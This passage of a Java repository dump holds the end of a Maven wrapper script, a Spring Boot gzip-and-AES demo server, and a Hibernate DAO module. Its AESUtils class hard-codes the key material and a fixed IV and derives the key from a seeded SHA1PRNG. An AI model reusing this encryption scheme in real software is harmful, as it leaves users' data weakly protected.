endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n\nFOR /F \"tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\n    IF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B\n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Found %WRAPPER_JAR%\n    )\n) else (\n    if not \"%MVNW_REPOURL%\" == \"\" (\n        SET DOWNLOAD_URL=\"%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    )\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Couldn't find %WRAPPER_JAR%, downloading it ...\n        echo Downloading from: %DOWNLOAD_URL%\n    )\n\n    powershell -Command \"&{\"^\n\t\t\"$webclient = new-object System.Net.WebClient;\"^\n\t\t\"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {\"^\n\t\t\"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');\"^\n\t\t\"}\"^\n\t\t\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"^\n\t\t\"}\"\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Finished downloading %WRAPPER_JAR%\n    )\n)\n@REM End of extension\n\n@REM Provide a \"standardized\" way to retrieve the CLI args that will\n@REM work with both Windows and non-Windows executions.\nset MAVEN_CMD_LINE_ARGS=%*\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.6.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_springboot_server</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/main/java/com/jun/plugin/gzip/springboot/HelloController.java",
    "content": "package com.jun.plugin.gzip.springboot;\n\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.gzip.springboot.compress.CompressUtils;\nimport com.jun.plugin.gzip.springboot.encrypt.AESUtils;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 13:41\n */\n\n@RestController\npublic class HelloController {\n\n    @RequestMapping(\"/hello\")\n    @ResponseBody\n    public String hello(String data){\n\n        return \"Hello, Yolanda!我在服务端接收到了你发送过来的数据，解密解压后是:\"\n                + CompressUtils.decompressToStr(AESUtils.decrypt(data));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/main/java/com/jun/plugin/gzip/springboot/MyspringbootApplication.java",
    "content": "package com.jun.plugin.gzip.springboot;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MyspringbootApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(MyspringbootApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/main/java/com/jun/plugin/gzip/springboot/compress/CompressUtils.java",
    "content": "package com.jun.plugin.gzip.springboot.compress;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.GZIPOutputStream;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 14:30\n */\npublic class CompressUtils {\n\n    private static final String GZIP_ENCODE_UTF_8 = \"UTF-8\";\n    private static final String GZIP_ENCODE_ISO_8859_1 = \"ISO-8859-1\";\n\n    private static final int BYTE_NUM = 256;\n\n    /**\n     *\n     * compress:压缩数据方法 <br/>\n     * @param str\n     *          String\n     * @return\n     *          String\n     * @throws IOException\n     *                 IOException\n     */\n    public static String compress(String str) throws IOException {\n        return new String(compressData(str, GZIP_ENCODE_UTF_8), GZIP_ENCODE_ISO_8859_1);\n    }\n//    public static byte[] compress(String str) throws IOException {\n//        return compressData(str, GZIP_ENCODE_UTF_8);\n//    }\n\n    /**\n     *\n     * decompressToStr:解压缩数据方法 <br/>\n     * @param byteStr\n     *          String\n     * @return\n     *          String\n     */\n    public static String decompressToStr(String byteStr) {\n        byte[] bytes;\n        try {\n            bytes = byteStr.getBytes(GZIP_ENCODE_ISO_8859_1);\n            return decompressDataToStr(bytes, GZIP_ENCODE_UTF_8);\n        } catch (UnsupportedEncodingException e) {\n            System.out.println(\"解压缩数据转码失败：\" + e.getMessage());\n        }\n        return null;\n    }\n\n    /**\n     *\n     * compressData:压缩数据具体处理方法 <br/>\n     * @param str\n     *          String\n     * @param encoding\n     *          String\n     * @return\n     *          byte[]\n     */\n    public static byte[] compressData(String str, String encoding) {\n        if (str == null || str.length() == 0) {\n            return null;\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        GZIPOutputStream gzip;\n        try {\n            gzip = new GZIPOutputStream(out);\n            gzip.write(str.getBytes(encoding));\n            gzip.close();\n        } catch (IOException e) {\n            System.out.println(\"压缩数据失败：\" + e.getMessage());\n        }\n        return out.toByteArray();\n    }\n\n    /**\n     *\n     * decompressDataToStr:解压缩数据具体处理方法 <br/>\n     * @param bytes\n     *          byte[]\n     * @param encoding\n     *          String\n     * @return\n     *          String\n     */\n    public static String decompressDataToStr(byte[] bytes, String encoding) {\n        if (bytes == null || bytes.length == 0) {\n            return null;\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        ByteArrayInputStream in = new ByteArrayInputStream(bytes);\n        try {\n            GZIPInputStream ungzip = new GZIPInputStream(in);\n            byte[] buffer = new byte[BYTE_NUM];\n            int n;\n            while ((n = ungzip.read(buffer)) >= 0) {\n                out.write(buffer, 0, n);\n            }\n            return out.toString(encoding);\n        } catch (IOException e) {\n            System.out.println(\"解压缩数据失败：\" + e.getMessage());\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/main/java/com/jun/plugin/gzip/springboot/encrypt/AESUtils.java",
    "content": "package com.jun.plugin.gzip.springboot.encrypt;\n\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidAlgorithmParameterException;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.security.spec.AlgorithmParameterSpec;\n\n\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.NoSuchPaddingException;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.IvParameterSpec;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/9 9:51\n */\npublic class AESUtils {\n    private static final String GZIP_ENCODE_UTF_8 = \"UTF-8\";\n\n    private static byte[] keyValue = new byte[] {       //用户密钥\n        22,25,-35,-45,25,98,-55,-45,10,35,-45,25,\n        26,-95,25,-65,-78,-99,85,45,-62,10,-0,11,\n        -35,48,-98,65,-32,14,-78,25,36,-56,-45,-45,\n        12,15,-35,-75,15,-14,62,-25,33,-45,55,68,-88\n    };\n    private static byte[] iv = new byte[] {             //算法参数\n        -12,35,-25,65,45,-87,95,-22,-15,45,55,-66,32,5-4,84,55\n    };\n    private static SecretKey key;                       //加密密钥\n    private static AlgorithmParameterSpec paramSpec;    //算法参数\n    private static Cipher ecipher;                      //加密算法\n\n    static{\n        KeyGenerator kgen;\n        try {\n            //为指定算法生成一个密钥生成器对象。\n            kgen = KeyGenerator.getInstance(\"AES\");\n            //使用用户提供的随机源初始化此密钥生成器，使其具有确定的密钥长度。\n            SecureRandom secureRandom = SecureRandom.getInstance(\"SHA1PRNG\");\n            secureRandom.setSeed(keyValue);\n            kgen.init(128, secureRandom);\n            //使用KeyGenerator生成（对称）密钥。\n            key = kgen.generateKey();\n            //使用iv中的字节作为IV来构造一个 算法参数。\n            paramSpec = new IvParameterSpec(iv);\n            //生成一个实现指定转换的 Cipher 对象\n            ecipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        } catch (NoSuchPaddingException e) {\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 加密，使用指定数据源生成密钥，使用用户数据作为算法参数进行AES加密\n     * @param msg 加密的数据\n     * @return\n     */\n    public static String encrypt(String msg) {\n        String str = \"\";\n        try {\n            //用密钥和一组算法参数初始化此 cipher\n            ecipher.init(Cipher.ENCRYPT_MODE, key, paramSpec);\n            //加密并转换成16进制字符串\n            str = asHex(ecipher.doFinal(msg.getBytes(GZIP_ENCODE_UTF_8)));\n        } catch (BadPaddingException e) {\n            e.printStackTrace();\n        } catch (InvalidKeyException e) {\n            e.printStackTrace();\n        } catch (InvalidAlgorithmParameterException e) {\n            e.printStackTrace();\n        } catch (IllegalBlockSizeException e) {\n            e.printStackTrace();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n        return str;\n    }\n\n    /**\n     * 解密，对生成的16进制的字符串进行解密\n     * @param value 解密的数据\n     * @return\n     */\n    public static String decrypt(String value) {\n        try {\n            ecipher.init(Cipher.DECRYPT_MODE, key, paramSpec);\n            return new String(ecipher.doFinal(asBin(value)),GZIP_ENCODE_UTF_8);\n        } catch (BadPaddingException e) {\n            e.printStackTrace();\n        } catch (InvalidKeyException e) {\n            e.printStackTrace();\n        } catch (InvalidAlgorithmParameterException e) {\n            e.printStackTrace();\n        } catch (IllegalBlockSizeException e) {\n            e.printStackTrace();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n        return \"\";\n    }\n\n    /**\n     * 将字节数组转换成16进制字符串\n     * @param buf\n     * @return\n     */\n    private static String asHex(byte buf[]) {\n        StringBuffer strbuf = new StringBuffer(buf.length * 2);\n        int i;\n        for (i = 0; i < buf.length; i++) {\n            if (((int) buf[i] & 0xff) < 0x10)//小于十前面补零\n                strbuf.append(\"0\");\n            strbuf.append(Long.toString((int) buf[i] & 0xff, 16));\n        }\n        return strbuf.toString();\n    }\n\n    /**\n     * 将16进制字符串转换成字节数组\n     * @param src\n     * @return\n     */\n    private static byte[] asBin(String src) {\n        if (src.length() < 1)\n            return null;\n        byte[] encrypted = new byte[src.length() / 2];\n        for (int i = 0; i < src.length() / 2; i++) {\n            String str1 = src.substring(i * 2, i * 2 + 1);\n            int high = Integer.parseInt(src.substring(i * 2, i * 2 + 1), 16);//取高位字节\n            int low = Integer.parseInt(src.substring(i * 2 + 1, i * 2 + 2), 16);//取低位字节\n            encrypted[i] = (byte) (high * 16 + low);\n        }\n        return encrypted;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/main/resources/application.properties",
    "content": "server.port=8081\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/src/test/java/com/jun/plugin/gzip/springboot/SpringbootApplicationTests.java",
    "content": "package com.jun.plugin.gzip.springboot;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass SpringbootApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_gzip</artifactId>\n\t<version>1.0</version>\n\t<packaging>pom</packaging>\n\n\t<modules>\n\t\t<module>jun_compress_client</module>\n\t\t<module>jun_springboot_server</module>\n\t</modules>\n\n\t<dependencyManagement>\n\t\t<dependencies>\n\t\t</dependencies>\n\t</dependencyManagement>\n\n\n\t<build>\n\t\t<resources>\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources</directory>\n\t\t\t\t<filtering>true</filtering>\n\t\t\t</resource>\n\t\t</resources>\n\t\t<testResources>\n\t\t\t<testResource>\n\t\t\t\t<directory>src/test/resources</directory>\n\t\t\t\t<filtering>true</filtering>\n\t\t\t</testResource>\n\t\t</testResources>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-resources-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<encoding>${project.encoding}</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>2.0.2</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>${java.src.version}</source>\n\t\t\t\t\t<target>${java.target.version}</target>\n\t\t\t\t\t<encoding>${project.encoding}</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-eclipse-plugin</artifactId>\n\t\t\t\t<version>2.6</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<workspace>${basedir}</workspace>\n\t\t\t\t\t<workspaceCodeStylesURL>\n\t\t\t\t\t\thttp://svn.apache.org/repos/asf/maven/plugins/trunk/maven-eclipse-plugin/src/optional/eclipse-config/maven-styles.xml\n\t\t\t\t\t</workspaceCodeStylesURL>\n\t\t\t\t\t<downloadSources>true</downloadSources>\n\t\t\t\t\t<downloadJavadocs>false</downloadJavadocs>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<version>2.2.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-deploy-plugin</artifactId>\n\t\t\t\t<version>2.7</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<updateReleaseInfo>true</updateReleaseInfo>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\n\t</build>\n\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/.keep",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_hibernate/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_hibernate</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>jun_hibernate</name>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t<version>5.4.17.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.48</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>4.3.6.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.aspectj</groupId>\n\t\t\t<artifactId>aspectjweaver</artifactId>\n\t\t\t<version>1.8.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>4.3.6.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>4.3.6.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-dbcp</groupId>\n\t\t\t<artifactId>commons-dbcp</artifactId>\n\t\t\t<version>1.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.2.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.oracle</groupId>\n\t\t\t<artifactId>ojdbc6</artifactId>\n\t\t\t<version>11.2.0.3</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<pluginManagement><!-- lock down plugins versions to avoid using Maven \n\t\t\t\tdefaults (may be moved to parent pom) -->\n\t\t\t<plugins>\n\t\t\t\t<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-clean-plugin</artifactId>\n\t\t\t\t\t<version>3.1.0</version>\n\t\t\t\t</plugin>\n\t\t\t\t<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-resources-plugin</artifactId>\n\t\t\t\t\t<version>3.0.2</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t\t<version>3.8.0</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t\t<version>2.22.1</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t\t<version>3.0.2</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-install-plugin</artifactId>\n\t\t\t\t\t<version>2.5.2</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-deploy-plugin</artifactId>\n\t\t\t\t\t<version>2.8.2</version>\n\t\t\t\t</plugin>\n\t\t\t\t<!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-site-plugin</artifactId>\n\t\t\t\t\t<version>3.7.1</version>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<artifactId>maven-project-info-reports-plugin</artifactId>\n\t\t\t\t\t<version>3.0.0</version>\n\t\t\t\t</plugin>\n\t\t\t</plugins>\n\t\t</pluginManagement>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/App.java",
    "content": "package com.jun.plugin.hibernate;\n\n/**\n * Hello world!\n *\n */\npublic class App \n{\n    public static void main( String[] args )\n    {\n        System.out.println( \"Hello World!\" );\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/dao/IEmpDao.java",
    "content": "package com.jun.plugin.hibernate.dao;\n\nimport java.util.List;\n\nimport com.jun.plugin.hibernate.modal.EmpEntity;\n\npublic interface IEmpDao {\n\n    int count();\n\n    EmpEntity findByid(Short empno);\n\n    List<EmpEntity> findList(Integer pageNo,Integer pageSize);\n\n    int addEmp(EmpEntity e);\n\n    int updateEmp(EmpEntity e);\n\n    int removeEmp(Short empno);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/dao/impl/EmpDao.java",
    "content": "package com.jun.plugin.hibernate.dao.impl;\n\nimport org.hibernate.HibernateException;\nimport org.hibernate.Session;\nimport org.hibernate.query.Query;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.orm.hibernate5.HibernateCallback;\nimport org.springframework.orm.hibernate5.HibernateTemplate;\nimport org.springframework.stereotype.Repository;\n\nimport com.jun.plugin.hibernate.dao.IEmpDao;\nimport com.jun.plugin.hibernate.modal.EmpEntity;\n\nimport java.util.List;\n\n\n@Repository\npublic class EmpDao implements IEmpDao {\n\n\n    @Autowired\n    private HibernateTemplate hibernateTemplate;\n\n    @Override\n    public int count() {\n        Integer cnt = hibernateTemplate.execute(new HibernateCallback<Integer>() {\n            @Override\n            public Integer doInHibernate(Session session) throws HibernateException {\n                String hql = \"select count(e.empno) from EmpEntity e\";\n                Query query = session.createQuery(hql);\n                Long sum = (Long) query.uniqueResult();\n                return sum.intValue();\n            }\n        });\n        return cnt;\n    }\n\n    @Override\n    public EmpEntity findByid(Short empno) {\n        return hibernateTemplate.get(EmpEntity.class,empno);\n    }\n\n    @Override\n    public List<EmpEntity> findList(Integer pageNo, Integer pageSize) {\n        List<EmpEntity> empList = hibernateTemplate.execute(new HibernateCallback<List<EmpEntity>>() {\n            @Override\n            public List<EmpEntity> doInHibernate(Session session) throws HibernateException {\n                String hql = \"from EmpEntity \";\n                Query query = session.createQuery(hql);\n                query.setFirstResult((pageNo-1)*pageSize);//从第几页开始\n                query.setMaxResults(pageSize);//获取多少页\n                List<EmpEntity> result = query.list();\n                return result;\n            }\n        });\n        return empList;\n    }\n\n    @Override\n    public int addEmp(EmpEntity e) {\n        hibernateTemplate.save(e);\n        return 1;\n    }\n\n    @Override\n    public int updateEmp(EmpEntity e) {\n        hibernateTemplate.update(e);\n        return 1;\n    }\n\n    @Override\n    public int removeEmp(Short empno) {\n        EmpEntity e  = new EmpEntity();\n        e.setEmpno(empno);\n        hibernateTemplate.delete(e);\n        return 1;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/modal/DeptEntity.java",
    "content": "package com.jun.plugin.hibernate.modal;\n\nimport java.util.Objects;\n\npublic class DeptEntity {\n    private Byte deptno;\n    private String deptName;\n    private String loc;\n\n    public Byte getDeptno() {\n        return deptno;\n    }\n\n    public void setDeptno(Byte deptno) {\n        this.deptno = deptno;\n    }\n\n    public String getDeptName() {\n        return deptName;\n    }\n\n    public void setDeptName(String deptName) {\n        this.deptName = deptName;\n    }\n\n    public String getLoc() {\n        return loc;\n    }\n\n    public void setLoc(String loc) {\n        this.loc = loc;\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) return true;\n        if (o == null || getClass() != o.getClass()) return false;\n        DeptEntity that = (DeptEntity) o;\n        return Objects.equals(deptno, that.deptno) &&\n                Objects.equals(deptName, that.deptName) &&\n                Objects.equals(loc, that.loc);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(deptno, deptName, loc);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/modal/EmpEntity.java",
    "content": "package com.jun.plugin.hibernate.modal;\n\nimport java.util.Date;\nimport java.util.Objects;\n\npublic class EmpEntity {\n    private Short empno;\n    private String empName;\n    private String job;\n    private Long mgr;\n    private Date hiredate;\n    private Long sal;\n    private Double comm;\n\n    public Short getEmpno() {\n        return empno;\n    }\n\n    public void setEmpno(Short empno) {\n        this.empno = empno;\n    }\n\n    public String getEmpName() {\n        return empName;\n    }\n\n    public void setEmpName(String empName) {\n        this.empName = empName;\n    }\n\n    public String getJob() {\n        return job;\n    }\n\n    public void setJob(String job) {\n        this.job = job;\n    }\n\n    public Long getMgr() {\n        return mgr;\n    }\n\n    public void setMgr(Long mgr) {\n        this.mgr = mgr;\n    }\n\n    public Date getHiredate() {\n        return hiredate;\n    }\n\n    public void setHiredate(Date hiredate) {\n        this.hiredate = hiredate;\n    }\n\n    public Long getSal() {\n        return sal;\n    }\n\n    public void setSal(Long sal) {\n        this.sal = sal;\n    }\n\n    public Double getComm() {\n        return comm;\n    }\n\n    public void setComm(Double comm) {\n        this.comm = comm;\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) return true;\n        if (o == null || getClass() != o.getClass()) return false;\n        EmpEntity empEntity = (EmpEntity) o;\n        return Objects.equals(empno, empEntity.empno) &&\n                Objects.equals(empName, empEntity.empName) &&\n                Objects.equals(job, empEntity.job) &&\n                Objects.equals(mgr, empEntity.mgr) &&\n                Objects.equals(hiredate, empEntity.hiredate) &&\n                Objects.equals(sal, empEntity.sal) &&\n                Objects.equals(comm, empEntity.comm);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(empno, empName, job, mgr, hiredate, sal, comm);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_hibernate/src/main/java/com/jun/plugin/hibernate/service/IEmpService.java",
